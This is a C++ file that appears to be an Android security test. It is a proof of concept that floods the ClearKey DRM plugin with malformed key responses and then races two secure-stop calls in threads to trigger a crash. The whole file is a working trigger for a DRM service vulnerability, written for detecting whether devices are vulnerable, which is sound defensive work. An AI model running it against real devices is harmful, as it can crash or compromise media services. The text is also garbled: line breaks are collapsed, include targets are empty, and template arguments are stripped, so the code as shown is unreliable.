/** * Copyright (C) 2019 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include #include #include #include #include #include #include #include #include "../includes/common.h" using ::android::sp; using ::android::String8; using ::android::Vector; using ::android::hardware::hidl_string; using ::android::hardware::hidl_vec; using ::android::hardware::drm::V1_0::IDrmFactory; using ::android::hardware::drm::V1_0::IDrmPlugin; using ::android::hardware::drm::V1_0::SecureStop; using ::android::hardware::drm::V1_0::Status; using ::android::hardware::drm::V1_1::SecurityLevel; using ::android::hidl::manager::V1_0::IServiceManager; static Vector sessionId; static Vector> drmFactories; static sp drmPlugin; static sp<::android::hardware::drm::V1_1::IDrmPlugin> drmPluginV1_1; static void handler(int) { ALOGI("Good, the test condition has been triggered"); exit(EXIT_VULNERABLE); } static const Vector toVector(const hidl_vec &vec) { Vector vector; vector.appendArray(vec.data(), vec.size()); return *const_cast *>(&vector); } static hidl_vec toHidlVec(const Vector &vector) { hidl_vec vec; vec.setToExternal(const_cast(vector.array()), vector.size()); return vec; } static void makeDrmFactories() { sp serviceManager = IServiceManager::getService(); if (serviceManager == NULL) { ALOGE("Failed to get service manager"); exit(-1); } serviceManager->listByInterface( IDrmFactory::descriptor, [](const hidl_vec ®istered) { for (const auto &instance : registered) { auto factory = IDrmFactory::getService(instance); if (factory != NULL) { ALOGV("found drm@1.0 IDrmFactory %s", instance.c_str()); drmFactories.push_back(factory); } } }); serviceManager->listByInterface( ::android::hardware::drm::V1_1::IDrmFactory::descriptor, [](const hidl_vec ®istered) { for (const auto &instance : registered) { auto factory = ::android::hardware::drm::V1_1::IDrmFactory::getService(instance); if (factory != NULL) { ALOGV("found drm@1.1 IDrmFactory %s", instance.c_str()); drmFactories.push_back(factory); } } }); return; } static sp makeDrmPlugin(const sp &factory, const uint8_t uuid[16], const String8 &appPackageName) { sp plugin; factory->createPlugin(uuid, appPackageName.c_str(), [&](Status status, const sp &hPlugin) { if (status != Status::OK) { return; } plugin = hPlugin; }); return plugin; } static void createPlugin() { const uint8_t uuid[16] = {0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02, 0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b}; for (size_t i = 0; i < drmFactories.size(); i++) { if (drmFactories[i]->isCryptoSchemeSupported(uuid)) { drmPlugin = makeDrmPlugin(drmFactories[i], uuid, String8("ele7enxxh")); if (drmPlugin != NULL) drmPluginV1_1 = ::android::hardware::drm::V1_1::IDrmPlugin::castFrom(drmPlugin); } } if (drmPlugin == NULL) { ALOGE("Failed to create drm plugin"); exit(-1); } return; } static void openSession() { if (drmPluginV1_1) drmPluginV1_1->openSession_1_1( SecurityLevel::SW_SECURE_CRYPTO, [&](Status status, const hidl_vec &id) { if (status != Status::OK) { ALOGE("Failed to open session v1_1"); exit(-1); } sessionId = toVector(id); }); else { drmPlugin->openSession([&](Status status, const hidl_vec &id) { if (status != Status::OK) { ALOGE("Failed to open session"); exit(-1); } sessionId = toVector(id); }); } return; } static void provideKeyResponse() { const char key[] = "{\"keys\":[{\"kty\":\"oct\"" "\"alg\":\"A128KW1\"}{\"kty\":\"oct\"\"alg\":\"A128KW2\"" "\"k\":\"SGVsbG8gRnJpZW5kIQ\"\"kid\":\"Y2xlYXJrZXlrZXlpZDAy\"}" "{\"kty\":\"oct\"\"alg\":\"A128KW3\"" "\"kid\":\"Y2xlYXJrZXlrZXlpZDAz\"\"k\":\"R29vZCBkYXkh\"}]}"; Vector response; response.appendArray((const unsigned char *)key, strlen(key)); drmPlugin->provideKeyResponse(toHidlVec(sessionId), toHidlVec(response), [&](Status status, const hidl_vec &) { if (status != Status::OK) { ALOGE("Failed to provide key response"); exit(-1); } }); return; } static void *getSecureStops(void *) { drmPlugin->getSecureStops([&](Status status, const hidl_vec &) { if (status != Status::OK) { ALOGE("Failed to get secure stops"); exit(-1); } }); return NULL; } static void *removeAllSecureStops(void *) { if (drmPluginV1_1 != NULL) drmPluginV1_1->removeAllSecureStops(); else drmPlugin->releaseAllSecureStops(); return NULL; } int main(void) { signal(SIGABRT, handler); makeDrmFactories(); createPlugin(); openSession(); size_t loop = 1000; while (loop--) provideKeyResponse(); pthread_t threads[2]; pthread_create(&threads[0], NULL, getSecureStops, NULL); pthread_create(&threads[1], NULL, removeAllSecureStops, NULL); pthread_join(threads[0], NULL); pthread_join(threads[1], NULL); return 0; }